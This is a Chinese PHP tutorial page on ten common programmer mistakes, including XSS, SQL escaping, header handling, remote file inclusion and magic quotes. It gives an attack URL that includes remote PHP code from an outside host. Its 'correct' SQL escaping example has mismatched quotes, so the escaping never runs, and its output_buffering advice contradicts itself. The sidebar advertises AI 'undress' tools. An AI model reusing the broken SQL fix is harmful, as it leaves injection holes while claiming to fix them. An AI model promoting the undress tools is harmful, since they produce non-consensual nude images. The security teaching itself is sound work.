首頁 php教程 php手册 php 程序员常犯错误总结

php 程序员常犯错误总结

May 25, 2016 pm 04:40 PM
php程式設計師

1.不转意html entities

一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据),输出之前都要转意.

echo $_GET['usename'] ;

这个例子有可能输出:

<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>

这是一个明显的安全隐患,除非你保证你的用户都正确的输入.

如何修复:我们需要将"","and" 等转换成正确的HTML表示(', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的.

正确的方法:echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. 不转意SQL输入

我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法,有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET,$_POST或 $_COOKIE中的得到的.

如何修复:和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数,正确做法:

<?php 
$sql = "UPDATE users SET 
name=&#39;.mysql_real_escape_string($name).&#39; 
WHERE id=&#39;.mysql_real_escape_string ($id).&#39;"; 
mysql_query($sql); 
?>
登入後複製

3.错误的使用HTTP-header 相关的函数:header(),session_start(),setcookie()

遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。

头部包含了一些非可视的数据,例如cookie,头部总是先到达,正文部分包括可视的html,图片等数据.

如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用,问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样,结果转向停止了,cookie和session都没有正确的设置........。

如何修复:确保在输出之前调用http-header相关的函数,并且令output_buffering = Off

4. Require 或 include 的文件使用不安全的数据

再次强调:不要相信不是你自己显式声明的数据,不要 Include 或 require 从$_GET,$_POST 或 $_COOKIE 中得到的文件.例如:index.php

//including header, config, database connection, etc

include($_GET['filename']);

//including footer

现在任一个黑客现在都可以用:http://www.phprm.com/index.php?filename=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本.

如果allow_url_fopen=On,你更是死定了,试试这个输入:

http://www.phprm.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

现在你的网页中包含了http://www.phprm.com/phphack.php的输出,黑客可以发送垃圾邮件,改变密码,删除文件等等,只要你能想得到.

如何修复:你必须自己控制哪些文件可以包含在的include或require指令中,下面是一个快速但不全面的解决方法:

<?php 
//Include only files that are allowed. 
$allowedFiles = array(&#39;file1.txt&#39;,&#39;file2.txt&#39;,&#39;file3.txt&#39;); 
if(in_array((string)$_GET[&#39;filename&#39;],$allowedFiles)) { 
include($_GET[&#39;filename&#39;]); 
}else{ 
exit(&#39;not allowed&#39;); 
} 
?>
登入後複製

5. 语法错误

语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出,解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号,还有就是换个好的编辑器,就不要用记事本了.

6.很少使用或不用面向对象

很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力,PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象.

7. 不使用framework

95% 的PHP项目都在做同样的四件事:Create, edit, list 和delete,现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?

8. 不知道PHP中已经有的功能

PHP的核心包含很多功能,很多程序员重复的发明轮子,浪费了大量时间,编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现,PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回,考虑到安全可以使用EscapeShellCmd()

9.使用旧版本的PHP

很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.phprm.com的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.

10.对引号做两次转意

见过网页中出现'或'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。

原始文本:

It&#39;s a string
magic quotes on :
It&#39;s a string
又运行一次
addslashes():
It&#39;s a string
HTML输出:It&#39;s a string
登入後複製


本文地址:

转载随意,但请附上文章地址:-)

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
1 個月前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
1 個月前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
1 個月前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.聊天命令以及如何使用它們
1 個月前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

從頭到尾詳解:如何撰寫一份完美的PHP程式設計師求職履歷 從頭到尾詳解:如何撰寫一份完美的PHP程式設計師求職履歷 Sep 10, 2023 pm 04:21 PM

如何撰寫一份完美的PHP程式設計師求職履歷在競爭激烈的就業市場中,一份出色的履歷對於求職者來說是至關重要的。對於PHP程式設計師來說,撰寫一份完美的履歷尤其重要,因為履歷不僅是展示自己技能和經驗的窗口,也是吸引雇主注意力的關鍵。本文將從頭到尾詳解如何撰寫一份完美的PHP程式設計師求職履歷。第一步:選擇簡潔且具吸引力的履歷範本選擇一份簡潔而具吸引力的履歷範本是撰寫履歷

別再被忽視了!學習如何設計一份令人印象深刻的PHP程式設計師求職履歷 別再被忽視了!學習如何設計一份令人印象深刻的PHP程式設計師求職履歷 Sep 08, 2023 pm 04:30 PM

別再被忽視了!學習如何設計一份令人印象深刻的PHP程式設計師求職履歷在如今競爭激烈的就業市場中,擁有一份令人印象深刻的求職履歷是找到理想工作的關鍵。尤其是對於PHP程式設計師這樣的技術職位來說,履歷是展現自己技能和經驗的窗口。本文將帶你學習如何設計一份令人印象深刻的PHP程式設計師求職履歷,並附上程式碼範例。首先,一個好的履歷會吸引閱讀者的注意。標題應該簡潔地說明你

提高求職成功率:寫一份優秀的PHP程式設計師求職履歷的技巧 提高求職成功率:寫一份優秀的PHP程式設計師求職履歷的技巧 Sep 10, 2023 pm 06:30 PM

提高求職成功率:寫一份優秀的PHP程式設計師求職履歷的技巧在現代社會中,求職已經成為每個畢業生面臨的一項重要任務。當談到求職時,履歷是最重要的一環。一份優秀的履歷可以為你贏得面試的機會,甚至決定能否成功獲得工作。特別對於PHP程式設計師這樣一個高度競爭的職位來說,如何寫一份出眾的求職履歷,成為每個求職者的關鍵問題。以下我將分享一些寫一份優秀的PHP程式設計師求職履歷的

如何寫出一份令雇主眼前一亮的PHP程式設計師求職履歷 如何寫出一份令雇主眼前一亮的PHP程式設計師求職履歷 Sep 08, 2023 am 08:19 AM

如何寫出一份令雇主眼前一亮的PHP程式設計師求職履歷在競爭激烈的求職市場上,撰寫一份出色的履歷尤其重要。身為PHP程式設計師,除了令人印象深刻的工作經驗和技能,一份履歷中也需要體現出你對程式設計的熱愛和紮實的專業知識。本文將介紹一些技巧和程式碼範例,幫助你撰寫一份令雇主眼前一亮的PHP程式設計師求職履歷。簡潔明了的個人資訊履歷的個人資訊部分應該包括你的姓名、聯絡方式和個人網站

搶眼的PHP程式設計師求職履歷技巧:如何與其他候選人脫穎而出 搶眼的PHP程式設計師求職履歷技巧:如何與其他候選人脫穎而出 Sep 12, 2023 am 10:16 AM

搶眼的PHP程式設計師求職履歷技巧:如何與其他候選人脫穎而出隨著網路產業的快速發展,PHP程式設計師也成為了求職市場上的熱門職位之一。然而,越來越多的人選擇了PHP作為自己的職涯發展方向,這使得競爭變得更加激烈。在這樣的情況下,如何讓自己的求職履歷脫穎而出,成為雇主眼中的香餑餑,是每個PHP程式設計師都需要思考的問題。首先,一個好的求職履歷應該要清晰、簡潔地展現你的技

PHP程式設計師的高薪逆襲之路 PHP程式設計師的高薪逆襲之路 Sep 09, 2023 am 09:22 AM

PHP程式設計師的高薪逆襲之路隨著網路的快速發展,電腦科學領域的需求不斷增加。在這個時代,需要具備程式設計技能的人才是最受歡迎的。而PHP作為一種常用的程式語言,為程式設計師們提供了一條高薪逆襲的道路。本文將介紹PHP程式設計師如何透過學習PHP以及相關技術,走向高薪逆襲之路,並附上一些程式碼範例。一、掌握PHP基礎知識要成為優秀的PHP程式設計師,首先需要掌握PHP的基

探索寫作技巧:如何撰寫一份引人注目的PHP程式設計師求職履歷 探索寫作技巧:如何撰寫一份引人注目的PHP程式設計師求職履歷 Sep 09, 2023 pm 04:09 PM

探索寫作技巧:如何撰寫一份引人注目的PHP程式設計師求職履歷在當今競爭激烈的就業市場中,一份引人注目的求職履歷對於PHP程式設計師來說尤其重要。一個好的履歷不僅能夠吸引雇主的眼球,還能展現你的技能和經驗。本文將探索一些寫作技巧,幫助你撰寫一份出色的PHP程式設計師求職履歷,並附上程式碼範例,突出你的專業能力。簡潔明了的格式履歷的格式應該簡潔明了,使得雇主能夠快速瀏覽你的關

提升個人形象:如何寫出一份讓你脫穎而出的PHP程式設計師求職履歷 提升個人形象:如何寫出一份讓你脫穎而出的PHP程式設計師求職履歷 Sep 10, 2023 pm 05:12 PM

在當今競爭激烈的就業市場中,如何讓自己在眾多求職者中脫穎而出成為了一個非常重要的議題。尤其對於PHP程式設計師來說,良好的求職履歷能夠直接影響是否能夠得到面試的機會。本文將為大家詳細介紹如何寫出一份讓你脫穎而出的PHP程式設計師求職履歷。首先,一個好的求職履歷應該包含以下幾個重要部分:個人資訊、求職意願、教育背景、工作經驗、技能專長和個人專案經驗等。我們將逐一部分

See all articles